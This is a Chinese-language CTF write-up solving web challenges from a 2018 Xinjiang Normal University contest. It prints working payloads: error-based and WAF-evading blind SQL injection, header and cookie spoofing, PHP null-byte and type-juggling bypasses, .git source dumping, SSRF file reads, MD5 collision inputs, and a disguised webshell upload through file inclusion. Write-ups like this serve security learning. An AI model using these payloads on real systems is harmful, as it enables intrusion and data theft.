2018 XJNU CTF Web Writeup
比較簡單的新疆師範大學的 CTF 比賽 http://ctf.xjnu.edu.cn/
Web10
整個網站瘋狂暗示使用 sqlmap,然後網站原始碼中有這樣一段
<!-- id=1 -->
然後在連結中加上 ?id=1
進行測試,出現了不同的返回。
初步判斷 SQL 語句為:
select xxx from xxx where id=1
然後沒有做任何的過濾,並且報錯直接顯示出來,因此使用報錯注入。
http://ctf.xjnu.edu.cn:9900/web10/?id=1%20and%20extractvalue(1,concat(0x7e,(select%20flag%20from%20flag),0x7e)) XPATH syntax error: '~flag{Test_y0u_sql_Inject!}~'
Web20
直接訪問題目地址
> http http://ctf.xjnu.edu.cn:9900/web20/ HTTP/1.1 200 OK Connection: Keep-Alive Content-Length: 21 Content-Type: text/html; charset=UTF-8 Date: Thu, 20 Sep 2018 15:39:57 GMT Keep-Alive: timeout=5, max=100 Server: Apache/2.4.7 (Ubuntu) Set-Cookie: login=0 X-Powered-By: PHP/5.5.9-1ubuntu4.21 你不屬於這裡!
然後目測是 XFF 判斷本地
> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1 HTTP/1.1 200 OK Connection: Keep-Alive Content-Length: 24 Content-Type: text/html; charset=UTF-8 Date: Thu, 20 Sep 2018 15:44:55 GMT Keep-Alive: timeout=5, max=100 Server: Apache/2.4.7 (Ubuntu) Set-Cookie: login=0 X-Powered-By: PHP/5.5.9-1ubuntu4.21 你還沒有登入呢?
然後看到伺服器給我們 Set 了一個 Cookie,修改為 1
> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1 Cookie:login=1 HTTP/1.1 200 OK Connection: Keep-Alive Content-Length: 31 Content-Type: text/html; charset=UTF-8 Date: Thu, 20 Sep 2018 15:46:00 GMT Keep-Alive: timeout=5, max=100 Server: Apache/2.4.7 (Ubuntu) Set-Cookie: login=0 X-Powered-By: PHP/5.5.9-1ubuntu4.21 很可惜你不是iPhone OS 999
然後去網上找了個 iPhone 的 User-Agent,並且改成了 iPhone OS 999
> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1 Cookie:login=1 User-Agent:"Mozilla/5.0 (iPhone; CPU iPhone OS 999 like Mac OS X) AppleWebKit/604.1.34 Safari/604.1" HTTP/1.1 200 OK Connection: Keep-Alive Content-Length: 28 Content-Type: text/html; charset=UTF-8 Date: Thu, 20 Sep 2018 15:50:17 GMT Keep-Alive: timeout=5, max=100 Server: Apache/2.4.7 (Ubuntu) Set-Cookie: login=0 X-Powered-By: PHP/5.5.9-1ubuntu4.21 flag: flag{h77p_He4dEr_50_E4sy} <!-- flag not in html... -->
Web30
提示:小明 shell 下的編輯器用的比較 6
因此判斷應該存在 shell 下執行編輯器時意外退出所留下的備份檔案,掃描後發現了這個地址
http://ctf.xjnu.edu.cn:9900/web30/.index.php.swo
<?php
$get = $_GET['ctf'];
if ($get == '!#?&@') {
echo '<p> class="alert">Go on!</p>';
} else {
exit();
}
if (isset($_GET['password'])) {
if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo '<p class="alert">You password is error,must be test others</p>';
else if (strpos($_GET['password'], '--') !== FALSE){
$a = @$_GET['xjnu'];
$v1 = 0;
if (is_array($a)) {
is_numeric(@$a["bar1"]) ? die("No way!") : NULL;
if (@$a["bar1"]) {
($a["bar1"] > 2016) ? $v1 = 1 : NULL;
}
if (is_array(@$a["bar2"])) {
if (count($a["bar2"]) !== 3 or !is_array($a["bar2"][0])) die("No way!");
foreach ($a["bar2"] as $key => $val) {
if (preg_match('/2018/', $val)) {
die('No way!');
}
if ($val == 2018) {
die($flag);
}
}
}
}
}
else echo '<p class="alert">Invalid password</p>';
}
首先要滿足的條件是 get 中的 ctf 引數為 !#?&@
,而預設情況下 #
以及其後面的東西不會被當成引數傳遞給伺服器,所以我直接用 python 寫引數了
>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@'}).text '<p class="alert">Go on!</p>'
ereg 方法存在 %00
截斷漏洞,因此可以將 password 分為兩部分,前面一部分是符合正則條件的字元,後面再加上 --
滿足第二個要求
>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--'}).text '<p class="alert">Go on!</p>'
然後引數 xjnu 需要是一個數組,陣列中的 bar1 不能是數字但是他要大於 2016,這裡我們將 bar1 設定為 2017a
,根據 PHP 特色, '2017a'>2016
>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--','xjnu[bar1]':'2017a'}).text '<p class="alert">Go on!</p>'
然後 bar2 需要是一個數組,並且他的第一個元素也是一個數組,並且他有三個元素。此外 bar2 中還需要有一個元素等於 2018,但是其元素本身不允許存在字元 2018,因此這裡用十六進位制來表示
>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--','xjnu[bar1]':'2017a','xjnu[bar2][0][]':'0','xjnu[bar2][1]':'1','xjnu[bar2][2]':'0x7E2'}).text '<p class="alert">Go on!</p>flag{Php_iS_Mag1c!}'
Web40
題目沒有給太多的提示,簡單掃描之後發現了 .git 資料夾,通過 GitHack 找到了兩個檔案
> cat flag_2333_666.php <?php //$flag="{.git_H0w_Many_Y0u_kn0w!}" > cat index.php <?php echo "flag is here";
將 flag 拼湊成固定的格式即得: flag{.git_H0w_Many_Y0u_kn0w!}
Web50
題目是一個登入介面,原始碼中有提示,注入方向應該是密碼列:
<!-- passwordcolumns-->
使用者名稱存在但密碼錯誤會返回 pass error
使用者名稱不存在會返回 no such user
預計其使用了類似的 SQL 語句
select * from xxx where username='admin'
存在 WAF,過濾瞭如下:
- 空格
- select
- union
- and
- mid
- ascii
- from
- order
- by
- 井號(#)
- sleep
- substr
構建注入程式碼
a'/**/or/**/'1'='1
返回了 pass error
,說明存在注入
進一步構造,使用 left 函式逐位檢查密碼,丟入 Burpsuite 進行批量檢查,例如
a'/**/or/**/left(password,1)='5
最終得到 32 位的密碼,登入即可得 Flag
5781865f070113b76a9f40d48944d52b flag{Waf_is_N0t_Exits!}
Web60
Hint: whois 找不到資訊,也可以使用 ip 地址進行 whois 的吧
開啟題目,原始碼中有這樣一段
<!-- [Redacted]!網址www.nk-[Redacted].com:2018) -->
然後看了看當前頁面埠是 2017,直接改成 2018 就打開了另外一個頁面
既然你費了這麼大的勁來到了這裡,我就直接告訴你,我們已經掌握了你們學校主站點的申請人的郵箱地址,需要你再次確認此郵箱是否正確,方能加入我們!
讓我們輸入一個郵箱,結合提示, whois 218.195.132.22
輸入 [email protected]
即可以進行下一步
有一個 geturl 的按鈕,有一個輸入網址的地方,目測是一個 SSRF
輸入了 aaaa://index.php
提交,然後奇蹟發生了
if (preg_match('/index.php|flag_ssRf.php|etc/', $link)) {
# code...
echo file_get_contents(substr($link, 7));
}
大概的設計是輸入 http://
開頭的使用 curl 請求,包含了 index.php
這三個檔案的直接讀物檔案內容並輸出,因此順利拿到 flag
Web80
一開啟題目就提示 Git Revenge Come on
了,直接使用 GitHack,然後只能下載到 index.php,然而並沒有什麼用,所以直接將整個 .git 資料夾下了下來
commit bcf528e51e475cf22e864b7cbb7f1770124cc006 (HEAD -> master) Author: Huseck <[email protected]> Date:Wed Sep 19 20:02:51 2018 +0800 remove something commit bbb02a35384a81b4c003ce3e4ae03246b3638de0 Author: Huseck <[email protected]> Date:Wed Sep 19 20:01:59 2018 +0800 xjseck
發現有兩個 commit,切換到第一個就能看到有三個檔案了
flag Revenge 2333333.php
<?php
include 'flag.php';
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die($flag);
}
highlight_file(__FILE__);
和上面那題使用的 GitHack 一樣,考查 PHP 的特性,我們需要提交兩個名字不一樣但是 MD5 一樣的玩意,通常我直接使用下面這個檔案,使用 hexedit 直接寫入成檔案就好了,然後提交過去就能得到 flag
檔案 1:
4dc968ff0ee35c209572d4777b721587 d36fa7b21bdc56b74a3dc0783e7b9518 afbfa200a8284bf36e8e4b55b35f4275 93d849676da0d1555d8360fb5f07fea2
檔案 2:
4dc968ff0ee35c209572d4777b721587 d36fa7b21bdc56b74a3dc0783e7b9518 afbfa202a8284bf36e8e4b55b35f4275 93d849676da0d1d55d8360fb5f07fea2
Web100
開啟題目跳轉到 http://ctf.xjnu.edu.cn:666/index.php?file=upload.php
目測就存在檔案包含漏洞。
沒什麼難度,生成一個檔名為 .png 的一句話,上傳,包含,搞定